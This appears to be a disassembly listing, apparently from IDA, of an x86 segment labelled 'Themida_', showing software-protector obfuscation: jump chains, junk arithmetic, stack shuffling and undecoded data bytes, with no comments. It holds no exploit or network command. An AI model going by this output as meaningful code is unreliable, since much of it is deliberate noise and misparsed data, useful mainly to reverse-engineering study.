		jmp	loc_555D68
; ---------------------------------------------------------------------------


loc_550E9F:				; CODE XREF: Themida_:0055BFDDj
		push	ecx
		push	ebp
		mov	ebp, 0
		mov	ecx, ebp
		pop	ebp
		sub	ecx, esi
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	esi, 7B3E59B6h
		inc	esi
		not	esi
		xor	esi, 9761AC10h
		jmp	loc_5529AF
; ---------------------------------------------------------------------------


loc_550ECA:				; CODE XREF: Themida_:0055A6A0j
		add	al, 0AAh
		add	al, bl
		sub	al, 0AAh
		pop	ebx
		push	eax
		mov	ah, 0A9h
		sub	ah, 0BAh
		add	bl, ah
		pop	eax
		add	bl, 89h
		add	bl, 93h
		sub	bl, al
		sub	bl, 93h
		jmp	loc_55A8D8
; ---------------------------------------------------------------------------


loc_550EEA:				; CODE XREF: Themida_:00552042j
		pop	eax
		add	ebx, eax
		mov	ecx, [ebx]
		pop	ebx
		jmp	loc_5541F1
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 2
		dd 2161F381h, 0C38141DAh, 93C10164h, 815BD989h,	0FC04246Ch
		dd 51787A65h, 3BB76857h, 0E95F2A6Ch, 79FCh, 5C24048Fh
		dd 24048B66h, 0EA92E952h, 487FFFFh, 34895C24h, 54C8BE24h
		dd 0BD551AA2h, 581D2949h, 295DEF29h, 49C781F7h,	5E581D29h
		dd 7178E9h, 48B6600h, 306A6824h, 0C890000h, 0C8B5424h
		dd 4A51E924h, 0D3F70000h, 327AE9h, 3C875E00h, 34FF5C24h
		dd 0A4A8E924h, 66640000h, 1E9028Bh, 0C100004Dh,	0EA8108E2h
		dd 85D40A06h, 8A5E9h
		db 0
; ---------------------------------------------------------------------------


loc_550F8D:				; CODE XREF: Themida_:00556E14j
		mov	edi, esp
		jmp	loc_55047C
; ---------------------------------------------------------------------------
		dd 9C240401h, 0FFE94BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550F9D:				; CODE XREF: Themida_:00550477j
		mov	[esp], ecx
		push	5700h
		mov	[esp], eax
		mov	al, 0EFh
		push	ebx
		jmp	loc_553233
; ---------------------------------------------------------------------------
		dd 81664666h, 6622A6F6h, 66062E05h, 2D66F029h, 0B4E9062Eh
		dd 53000035h, 2BBh, 0AFA7E900h,	34890000h, 0B9515224h
		dd 6F98087Eh, 69E9CA89h, 81000070h, 1090C3h, 81FB014Ch
		dd 1090EBh, 5833FF4Ch, 6529E9h,	7817B800h, 12055DB1h, 3108EBBAh
		dd 2F0DE9C6h, 0EC830000h, 6F55E904h, 1C890000h,	0E7E95224h
		dd 5F00000Fh, 31242C33h, 2C33242Ch, 4295C24h, 0B9E99C24h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55102F:				; CODE XREF: Themida_:005527A7j
		xor	ebx, 6B530307h
		dec	ebx
		and	ebx, 31EF7420h
		jmp	loc_5591F0
; ---------------------------------------------------------------------------
		db 51h,	53h, 0B7h
		dd 5BF9883Dh, 59C828h, 0E56866D8h, 1C896677h, 683DB324h
		dd 8DEh, 0B1240C89h, 1B4EE957h,	0E9510000h, 0FFFFEF76h
; ---------------------------------------------------------------------------


loc_55106C:				; CODE XREF: Themida_:00556D34j
		push	617Eh
		mov	[esp], esi
		mov	esi, 702F87F8h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, ebx
		pop	ebx
		push	5A23h
		mov	[esp], eax
		push	51EBh
		mov	[esp], ecx
		push	1Ch
		pop	ecx
		push	ecx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_554445
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 58C43DD3h, 0E981D9F7h, 0BC54ECBh, 28C7E981h,	0CA29615Fh
		dd 592434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 25CB5F11h
		inc	ecx
		jmp	loc_554134
; ---------------------------------------------------------------------------
		db 0FFh
		dd 83582434h, 148B04C4h, 4C48324h, 0C8BCB29h, 4C48124h
		dd 0E9000000h, 7FD2h, 0B1515A66h, 1778E99Eh, 0F2B60000h
		dd 0F661B753h, 0EE780DFh, 0E904EFC0h, 2AA2h
; ---------------------------------------------------------------------------


loc_551108:				; CODE XREF: Themida_:0055703Fj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_558CCF
; ---------------------------------------------------------------------------
aSL		db ']΋',0
		align 10h


loc_551120:				; CODE XREF: Themida_:00557BEEj
		not	edx
		jmp	loc_55B10E
; ---------------------------------------------------------------------------
		db 81h
		dd 507B55C1h, 0E805E976h, 0E956FFFFh, 0A22Fh, 0E98734FFh
		dd 0FFFFE7A8h, 81241C8Bh, 4C4h,	0E2895200h, 4C281h, 0C2810000h
		dd 4, 31241433h, 0EEE92414h, 1000029h, 2E32E9D3h, 74FF0000h
		dd 34FF0424h, 24348B24h, 8104C483h, 4C4h, 119DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551182:				; CODE XREF: Themida_:0054FAAEj
		xor	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	eax, 0D627F18h
		push	ebp
		jmp	loc_553F3D
; ---------------------------------------------------------------------------
aVs		db 'V)%',0
		align 4
		dd 0FE280CB6h, 0FFF03FE9h, 240487FFh, 66F5E9h, 4EC8300h
		dd 83242489h, 5D042404h, 4C581h, 0CDE90000h, 0FFFFFFF7h
		dd 835E2434h, 0BD5504C4h, 4, 0E95DEE01h, 0FFFFF15Ah, 5C243487h
		dd 99BF575Ah, 8107004Fh, 5D0682E7h, 4FD7F752h, 0F97AEF81h
		dd 0FA01FDFFh, 2C2835Fh, 0E9241433h, 73EBh, 0E9E68956h
		dd 0FFFFEDFCh, 324E26BDh, 0C1DDF77Eh, 0F58105EDh, 6B9A1B6Ch
		dd 9B0FB850h, 0C501CED6h, 0E9EF8958h, 9D1h, 0DD0F748h
		dd 520C2159h, 3205D0F7h, 894A2671h, 0D5F758C5h,	88F8E945h
		dd 0D5F70000h, 2FA1F581h, 6E901CAh
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55124F:				; CODE XREF: Themida_:00559DC2j
		push	ebp
		push	ebx
		mov	ebx, 6DEF49E2h
		jmp	loc_55A25C
; ---------------------------------------------------------------------------


loc_55125B:				; CODE XREF: Themida_:00550C29j
		push	6859h
		mov	[esp], ebx
		push	1978h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		jmp	loc_55BC91
; ---------------------------------------------------------------------------
		dd 0E904C483h, 21A4h
; ---------------------------------------------------------------------------


loc_55128C:				; CODE XREF: Themida_:00554C3Bj
		push	235Fh
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ecx
		push	edx
		jmp	loc_55858D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 582434FFh, 8104C483h,	4ECh, 5154E900h
		dd 4BB90000h, 894B8163h, 0D6F759CEh, 81FFC683h,	7E9CB1EEh
		dd 5EF301B4h, 2474FF53h, 241C8B04h, 8F04C483h, 0EAE92404h
		dd 8100003Eh, 86EBBC1h,	0E9D9010Ch, 19BFh
; ---------------------------------------------------------------------------


loc_5512F4:				; CODE XREF: Themida_:00553928j
		add	esi, ebp
		pop	ebp
		add	ebx, esi
		jmp	loc_5558A8
; ---------------------------------------------------------------------------


loc_5512FE:				; CODE XREF: Themida_:0054FC7Dj
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5561C3
; ---------------------------------------------------------------------------
aQsue		db 'QE',0
		dw 2900h
aYQs		db 'Y]Q',0Ah
		db '-',0
		dd 33F96800h, 525E4125h, 6F1819BAh, 0ADEA8104h,	1FCE2BEh
		dd 81465AD6h, 2675F7EEh, 4EC83FEh, 0E9243489h, 0A534h
		dd 68E95357h
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551353:				; CODE XREF: Themida_:00557152j
		push	ecx
		mov	ecx, 25460BEBh
		shl	ecx, 2
		sub	ecx, 6ACB120Ah
		sub	ecx, 4A8D4C75h
		or	ecx, 75F7E5Fh
		add	ecx, 20000085h
		add	ebx, ecx
		jmp	loc_55A3ED
; ---------------------------------------------------------------------------


loc_55137B:				; CODE XREF: Themida_:0055A555j
		add	esp, 4
		push	80Ah
		jmp	loc_554027
; ---------------------------------------------------------------------------
aFnsc		db 'f>',0
		db 0
; ---------------------------------------------------------------------------


loc_55138F:				; CODE XREF: Themida_:0054F8FEj
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		push	2A355929h
		pop	ebp
		jmp	loc_556D94
; ---------------------------------------------------------------------------
		dd 1791EA81h, 0EA8168BFh, 15401055h, 0FFF4B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5513B5:				; CODE XREF: Themida_:0055A084j
		xchg	ebp, [esp]
		jmp	loc_5505E6
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8324048Bh, 545504C4h, 53BE565Dh, 0E96D3D1Eh,	68D4h
		dd 0DE9C231h, 31FFFFE5h, 242C8BE8h, 4EC81h, 1C890000h
		dd 81E38924h, 4C3h, 4C38100h, 87000000h, 835C241Ch, 3C8904ECh
		dd 48DA6824h, 14890000h, 5F74E924h, 2C8B0000h, 4C48324h
		dd 5F2434FFh, 4C481h, 0BE560000h, 2BD22D7Bh, 68h, 0E615E900h
		dd 0D701FFFFh, 0E924148Bh, 5B2h, 0DAB95152h, 0F718181Ah
		dd 7832E9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551446:				; CODE XREF: Themida_:005548E4j
		mov	ebp, 72784F02h
		xor	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 6DAC0828h
		or	ebx, 30573D4Dh
		inc	ebx
		shl	ebx, 2
		jmp	loc_553B09
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 81430000h, 2436C8F3h, 86C38158h, 89EB5435h
		dd 0DFF75BDFh, 5C03E9h,	0FF555E00h, 8B042474h, 0C481242Ch
		dd 4, 5C24048Fh, 24148B66h, 53E78957h, 2E41E9h
		db 0
; ---------------------------------------------------------------------------


loc_5514B1:				; CODE XREF: Themida_:00550726j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp


loc_5514BB:				; CODE XREF: Themida_:005543CAj
					; Themida_:00558DA7j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_550DBE
; ---------------------------------------------------------------------------


loc_5514C8:				; CODE XREF: Themida_:00558D47j
		and	ebx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_55792A
; ---------------------------------------------------------------------------
		db 59h,	56h, 0BEh
		dd 796A157Fh, 44BCCE81h, 0DEF745AFh, 80DCE9h
		db 0
; ---------------------------------------------------------------------------


loc_5514F5:				; CODE XREF: Themida_:0055527Cj
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0DEh
		or	bl, 8Ch
		jmp	loc_558148
; ---------------------------------------------------------------------------
		db 83h,	0C5h, 2
		dd offset dword_4E994C+21Ch
		dd 242C8900h, 20B6E9h, 0B26FB300h, 5BDA2824h, 5302E2C0h
		dd 0F380DAB3h, 80DBF6C8h, 0CB8035C3h, 24EB8000h, 0F65BDA28h
		dd 0E9D2F6D2h, 97Dh, 5EF3814Bh,	8148F144h, 365817C3h, 0DBC3816Fh
		dd 816E6686h, 0FD52B9EEh, 0E9DE014Ah, 4FE6h, 68E95954h
		dd 0F7000098h, 0FFE983D9h, 0FFFDDBE9h, 0C8B66FFh, 1ED26824h
		dd 4890000h
		db 24h,	89h, 0E0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_557086
; ---------------------------------------------------------------------------
		db 83h,	0E8h, 4
		dd 5C240487h, 1084E9h, 1C77FF00h, 1858669Dh, 0E99C2404h
		dd 0FFFFE340h, 0E1E9192Ch
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5515AF:				; CODE XREF: Themida_:0055788Cj
		xor	ebp, [esp]
		mov	esp, [esp]
		push	7417h
		mov	[esp], ebx
		push	ecx
		mov	cl, dl
		mov	bl, cl
		pop	ecx
		push	ecx
		push	eax
		mov	al, bl
		mov	cl, al
		pop	eax
		push	edx
		push	eax
		jmp	loc_55766F
; ---------------------------------------------------------------------------
		db 80h,	0C4h, 41h
		dd 48BE328h, 4C48124h, 51000000h, 0E580B9B5h, 1DCD80EAh
		dd 58E7E9h, 0F5895D00h,	5624348Bh, 0FDE9E689h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5515FB:				; CODE XREF: Themida_:00555EB4j
		mov	esi, 34246CC3h
		jmp	loc_55AB5D
; ---------------------------------------------------------------------------
		db 87h,	2Ch, 24h
		dd 240C895Ch, 42474FFh,	6666E9h, 24148900h, 462168h, 24248900h
		dd 4BE56h, 74010000h, 8B5E0424h, 0C4812414h, 4,	32CFBE56h
		dd 0E6C16947h, 0E9D6F704h, 566Ah
; ---------------------------------------------------------------------------


loc_551644:				; CODE XREF: Themida_:00557BC2j
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 0E9B50F0h
		add	esi, 0F164AF14h
		add	ecx, esi
		mov	esi, [esp]
		jmp	loc_554641
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 9Dh
		dd 89000002h, 4C381E3h,	83000000h, 1C8704C3h, 62E95C24h
		dd 6800001Dh, 2102h, 24048F54h,	4240483h, 5AB9515Fh, 0C11D613Ah
		dd 0C98102E9h, 76A77CF4h, 7EF2BF57h, 84E977FFh
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55169F:				; CODE XREF: Themida_:00552847j
		xor	ch, 76h
		xor	al, ch
		pop	cx
		jmp	loc_55806B
; ---------------------------------------------------------------------------
		db 81h
		dd 463D60EFh, 0BE565943h, 41A5706Ch, 8F98C681h,	0F701BE5Ah
		dd 243C875Eh, 4C3815Ch,	81000000h, 4ECh, 334FE900h, 44880000h
		dd 10E90424h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5516DF:				; CODE XREF: Themida_:00555611j
		mov	edx, 6C675742h
		push	ebp
		mov	ebp, 0
		jmp	loc_55A88C
; ---------------------------------------------------------------------------
		db 58h
		dd 7252F681h, 6E90A8Eh
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5516FB:				; CODE XREF: Themida_:0054F8F5j
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		shr	eax, 10h
		xor	eax, ecx
		push	5986h
		mov	[esp], eax
		xchg	edi, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_552078
; ---------------------------------------------------------------------------
		dd 0C2D9762Dh, 0E5EE9B3h, 0E0890000h, 45D6E9h
		db 0
; ---------------------------------------------------------------------------


loc_551735:				; CODE XREF: Themida_:0055075Ej
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54F8E8
; ---------------------------------------------------------------------------


loc_55173F:				; CODE XREF: Themida_:0055B157j
		mov	ecx, ebx
		pop	ebx
		dec	ecx
		not	ecx
		not	ecx
		not	ecx
		xor	ecx, 570D04C6h
		sub	ecx, 0DD76D8BFh
		and	eax, ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 8D83C94h
		not	edx
		shr	edx, 8
		sub	edx, 1C1F2681h
		neg	edx
		dec	edx
		push	ecx
		jmp	loc_5522F2
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 50582434h, 405E089h, 83000000h, 48704C0h
		dd 1019E924h, 0D8280000h, 0A9E95166h, 4AFFFFF0h, 9386E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5517AA:				; CODE XREF: Themida_:00554867j
		mov	ebx, 1Ch
		jmp	loc_550D9D
; ---------------------------------------------------------------------------
		dd 0EE005866h, 0FFE374E9h, 48155FFh, 3D270F24h,	98DBE96Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5517CA:				; CODE XREF: Themida_:0055423Bj
		sub	edi, 0A93D55EDh
		mov	ecx, edi
		pop	edi
		push	eax
		mov	eax, 607D3920h
		jmp	loc_55374F
; ---------------------------------------------------------------------------
aIRiISuz	db 'RʈUz',0
		align 2
		dw 5556h
		dd 30E7BB53h, 49E94C94h, 81000017h, 0D24A6DE2h,	0D7C28160h
		dd 29EBA4D2h, 9C23E9D0h, 0F75A0000h, 0BCC281DAh, 0E9D1B559h
		dd 0FFFFEF4Bh, 0DA6710BEh, 0AAC68124h, 0F7212002h, 0A1B850DEh
		dd 118793Dh, 0FEBDE9C6h, 0D089FFFFh, 90E9555Ah,	66000018h
		dd 58C5005Ah, 0C8BEB00h, 4C48324h, 839FE9h, 1AC28100h
		dd 1F9D3A1h, 0EF815AD7h, 4, 0E9243C87h,	1785h, 247C0166h
		dd 665F6604h, 2246C81h,	1665D6Fh, 6602244Ch, 2244481h
		dd 51665D6Fh, 2018B966h, 244C2966h, 6970E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55188E:				; CODE XREF: Themida_:00553111j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_552911
; ---------------------------------------------------------------------------
		db 4Dh
		dd 0DDF7DDF7h, 8904EC83h, 9BBA2414h, 29095B48h,	24148BD5h
		dd 7165E9h, 6DEB8000h, 0F6A6E380h, 80DBF6DBh, 0DD001DEBh
		dd 7A48E9h, 75ED8100h, 8B77A222h, 0C4832414h, 4BB5304h
		dd 1000000h, 2C335BDDh,	242C3124h, 4F8DE9h, 4BA5200h, 1000000h
		dd 0E9565AD3h, 8529h, 55E974B6h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551907:				; CODE XREF: Themida_:00557CE3j
		mov	ebx, 1D2B53F5h
		inc	ebx
		jmp	loc_55070D
; ---------------------------------------------------------------------------
		dw 489h
aIrhI		db '$hi',0
		align 4
aSQ		db '鴟',0
		db 0
; ---------------------------------------------------------------------------


loc_551921:				; CODE XREF: Themida_:00556BEAj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_550714
; ---------------------------------------------------------------------------


loc_551935:				; CODE XREF: Themida_:00557A1Bj
		add	ebx, 337765AEh
		xor	ebx, 0B8E609C1h
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5526B8
; ---------------------------------------------------------------------------
aZsA		db 'Z€',0
		dd 16E95800h, 80000026h, 0C18058E9h, 0E4F18007h, 1DF180h
		dd 4B2C59C8h, 4B04D800h, 8B66F02Ch, 0C481241Ch,	2, 7AFC6866h
		dd 24148966h, 23B35351h, 5A8DE9h, 4C08300h, 2474FF50h
		dd 86E95804h, 890000A1h, 0E668240Ch, 59612B0Eh,	0B6CAE981h
		dd 0CA290686h, 23BF5759h, 8145C77Ch, 763012E7h,	45C78116h
		dd 16EF301h, 0EB815FFBh, 4ED22EB8h, 3DB9E9h, 0FE015800h
		dd 0B6EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5519D9:				; CODE XREF: Themida_:00551AB0j
		xchg	ebx, [esp]
		pop	esp
		push	4433h
		mov	[esp], edx
		jmp	loc_558FB8
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24148904h, 0C281E289h, 4, 8704C283h,	248B2414h, 1C19E924h
		dd 0B9510000h, 4FA84C80h, 0C9E9C801h, 5000024h,	42EAD15Fh
		dd 139EE9h, 919BA00h, 542951B7h, 0E95A0824h, 1785h, 711568h
		dd 24148900h, 0C281E289h, 4, 4EC81h, 2C890000h,	46824h
		dd 0E95D0000h, 5556h, 0BF57E289h, 73D21FC4h, 7B2EE9h, 0B70F5C00h
		dd 4EC83C8h, 89243C89h,	43BE9E7h, 0F5800000h, 59EB30A6h
		dd 0CEB25266h, 80ABEA80h, 0E2C08DE2h, 0A3F28005h, 32A3E9h
		dd 240C8900h, 6D92E9h, 4D496800h, 45E90000h, 0B4FFFFEFh
		dd 0C6F4804Ch, 0FE8BE480h, 27E480CCh, 0A44FE9h
		db 0
; ---------------------------------------------------------------------------


loc_551AAD:				; CODE XREF: Themida_:00558F2Aj
		add	esp, 4
		jmp	loc_5519D9
; ---------------------------------------------------------------------------


loc_551AB5:				; CODE XREF: Themida_:005575ACj
		pop	ebx
		mov	ecx, [esp]
		jmp	loc_55B546
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 0E9000000h, 0A1ADh, 0C281E289h, 4,	95E1E9h
		db 0
; ---------------------------------------------------------------------------


loc_551AD9:				; CODE XREF: Themida_:0054FFF5j
		pop	ebx
		xor	dl, ah
		jmp	loc_552EFD
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5A04h, 0C80F5C24h, 0C8B5451h, 0E0895024h,	405h, 40500h
		dd 4870000h, 0C1815C24h, 4, 5C2DE952h, 54510000h, 6FDFE9h
		dd 242C8B00h, 4C481h, 84E90000h, 55000099h, 0FFE617E9h
		dd 91B353FFh, 0D93020B1h, 1614685Bh, 4890000h, 9BB35324h
		dd 8FB9E9h, 240C8700h, 8BE1305Ch, 0C4832404h, 7009E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551B52:				; CODE XREF: Themida_:00550AA0j
		mov	ecx, 3BD24ACEh
		jmp	loc_554893
; ---------------------------------------------------------------------------


loc_551B5C:				; CODE XREF: Themida_:0055673Bj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		pop	edi


loc_551B69:				; CODE XREF: Themida_:00551DF3j
					; Themida_:00554F33j
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		pop	ecx
		push	edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_55A74B
; ---------------------------------------------------------------------------
		dd 2EC81h, 89660000h, 68662414h, 8966254Bh, 0F4882404h
		dd 224748Ah, 2246488h, 0D6F65866h, 3CCC68h, 24048900h
		dd 748AF088h, 1BE90424h, 57FFFFFBh, 42474FFh, 78F4E9h
		dd 243C3100h, 5C243C33h, 24040966h, 0DD12E99Ch,	8956FFFFh
		dd 4C681E6h, 57000000h,	4BFh, 2430E900h, 0E1F60000h, 0CCB60F66h
		dd 7CB96866h, 275BE9h, 6DE95D00h, 0AD000053h, 0E45AA62Dh
		dd 0EC81572Bh, 4, 55243489h, 7CA5E951h,	31AD0000h, 0CBE955D8h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551C1F:				; CODE XREF: Themida_:00552084j
		pop	esp
		mov	[esp], edi
		xchg	ebx, [esp]
		not	ebx
		jmp	loc_5588D5
; ---------------------------------------------------------------------------
		db 5Eh,	1, 0CDh
aBaok1S		db 'oK1~*',0
		dw 0C100h
		dd 0E7C106E7h, 0AF78107h, 0E920E10Ch, 0FFFFEB4Dh, 34DB055Eh
		dd 55B2FBCh, 18FC34C5h,	5DF4E9h, 7FB95100h, 0E91DF565h
		dd 7900h, 5954515Ah, 3C03BF57h,	0BAE969FAh, 8B000082h
		dd 4D32424h, 65E99C24h,	31FFFFDCh, 2C33242Ch, 48AEE924h
		dd 72B00000h, 0E958C320h, 26DFh, 5866C530h, 0FE4FB353h
		dd 5E3C0CBh, 506DCB80h,	0C380E1B4h, 6A05E932h, 0EC810000h
		dd 4, 89241C89h, 4B850E3h, 0E9000000h, 1EA6h, 0A19AED81h
		dd 0EB31BBA4h, 696CE9h,	0DC0EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551CDA:				; CODE XREF: Themida_:0055A58Bj
		mov	ebx, 542E7125h
		sub	dword ptr [esp+4], 7F829FFh
		sub	[esp+4], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7F829FFh
		sub	dword ptr [esp+8], 3A844740h
		add	[esp+8], ecx
		add	dword ptr [esp+8], 3A844740h
		jmp	loc_559AFA
; ---------------------------------------------------------------------------
		dw 405h
		dd 56000000h, 270568h, 242C8900h, 2C3AE9h
		db 0
; ---------------------------------------------------------------------------


loc_551D25:				; CODE XREF: Themida_:005558D8j
		add	eax, 446F0878h
		sub	eax, 0F3DEE05Ah
		sub	ecx, eax
		jmp	loc_5541D3
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 0BB53D6F7h, 16D03B22h, 0F705E3C1h, 8E3C1D3h,	45A2C381h
		dd 0DE317AA1h, 81241C8Bh, 4C4h,	5166E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551D5E:				; CODE XREF: Themida_:00550305j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55667D
; ---------------------------------------------------------------------------


loc_551D71:				; CODE XREF: Themida_:00555D63j
		pop	esp
		shr	ecx, 2
		sub	ecx, 3C3E12D5h
		add	ecx, 0FFFFFFFFh
		xor	ecx, 0C768F552h
		and	eax, ecx
		pop	ecx
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		sub	esp, 4
		jmp	loc_55BE13
; ---------------------------------------------------------------------------


loc_551D95:				; CODE XREF: Themida_:00550216j
		pop	ecx
		neg	ecx
		sub	ecx, 6033097Ah
		and	ecx, 383A11F8h
		xor	ecx, 8180042h
		add	ebp, ecx
		pop	ecx
		push	163Fh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		jmp	loc_55B014
; ---------------------------------------------------------------------------


loc_551DCF:				; CODE XREF: Themida_:005551CCj
		add	esp, 4
		add	[esp+4], eax
		sub	dword ptr [esp+4], 3F6D671Ch
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 0DE437D6h
		sub	eax, esi
		pop	esi
		or	eax, eax
		jnz	loc_551B69
		push	3A2Fh
		mov	[esp], edi
		mov	edi, 1
		push	67EDh
		mov	[esp], edi
		push	dword ptr [esp]
		pop	edx
		push	esi
		push	61AFh
		jmp	loc_55A920
; ---------------------------------------------------------------------------
		db 31h,	0C2h, 58h
		dd 148BD001h, 4C48324h,	16A6C381h, 0EB811DFBh, 64970043h
		dd 2117BA52h, 0BF577510h, 7E954CDFh, 4F47D7F7h,	3DE9D7F7h
		dd 83000098h, 0C28104C4h, 4, 2DF4E9h, 60E48000h, 0FFF770E9h
		dd 24B951FFh, 292FB42Fh, 590C244Ch, 176E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551E72:				; CODE XREF: Themida_:00557196j
		shl	edx, 8
		or	edx, 50C017F8h
		sub	edx, 78B0C696h
		mov	ebp, edx
		pop	edx
		sub	ebp, eax
		pop	eax
		xor	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, edx
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		add	eax, 150C42F1h
		jmp	loc_55B493
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFF6B7E9h, 4C781FFh, 81000000h, 4EFh, 243C8700h, 5225E9h
		dd 0B7536600h, 0E9FA0001h, 16FBh, 24048B66h, 56E28952h
		dd 575FB4BEh, 0F7DEF73Ch, 46D6F7D6h, 8105EEC1h,	208EECEh
		dd 0EAEE8135h, 81371F4Dh, 6F1B1DC2h, 0A6EA8151h, 179AE06h
		dd 6E957F2h, 30000044h,	6AE5E9E7h, 0E3810000h, 7032A5Ch
		dd 0EAB8E957h, 23B8FFFFh, 254F322Fh, 73F23BDEh,	2F50C635h
		dd 4D412D13h, 0C3014117h, 0BE565158h, 2DE77072h, 0E95EF189h
		dd 0FFFFE3E7h, 80A9F380h, 0CB80ACE3h, 2FF3809Dh, 2823F380h
		dd 0A00DE9DDh, 2DAD0000h, 2EAC4011h, 54BBE9h, 0F1E58100h
		dd 0E9756E45h, 0FFFFF4D4h, 5C243C87h, 8B24048Fh, 0F662424h
		dd 9C2404ABh, 0FFD96FE9h, 0D96AE9FFh, 74FFFFFFh, 0C7E90424h
		dd 0FE00005Fh, 0EC2BE9C1h, 0DE68FFFFh, 0E9000059h, 0C6Ch
		dd 6B72C281h, 0F281372Fh, 49B2DA75h, 929EE9h
		db 0
; ---------------------------------------------------------------------------


loc_551FA9:				; CODE XREF: Themida_:0055AA35j
		add	ebx, 214A776Bh
		add	ebx, 85138634h
		add	edx, ebx
		pop	ebx
		add	edx, 4
		jmp	loc_559249
; ---------------------------------------------------------------------------
aUsh		db 'UH]',0
		align 2
		dw 6968h
		dd 89000015h, 0BB53240Ch, 2F811423h, 8102EBC1h,	230A2DC3h
		dd 94EB810Dh, 0E9333A0Dh, 0FFFFEF0Dh, 4246C01h,	4244481h
		dd 32182F5Ch, 0E9E95D5Dh, 51000099h, 2D45E952h,	0C2880000h
		dd 88D08850h, 16E958C7h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55200F:				; CODE XREF: Themida_:0055963Dj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_552C8E
; ---------------------------------------------------------------------------


loc_552018:				; CODE XREF: Themida_:00555455j
		add	esi, 0E74FFA79h
		sub	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_555361
; ---------------------------------------------------------------------------


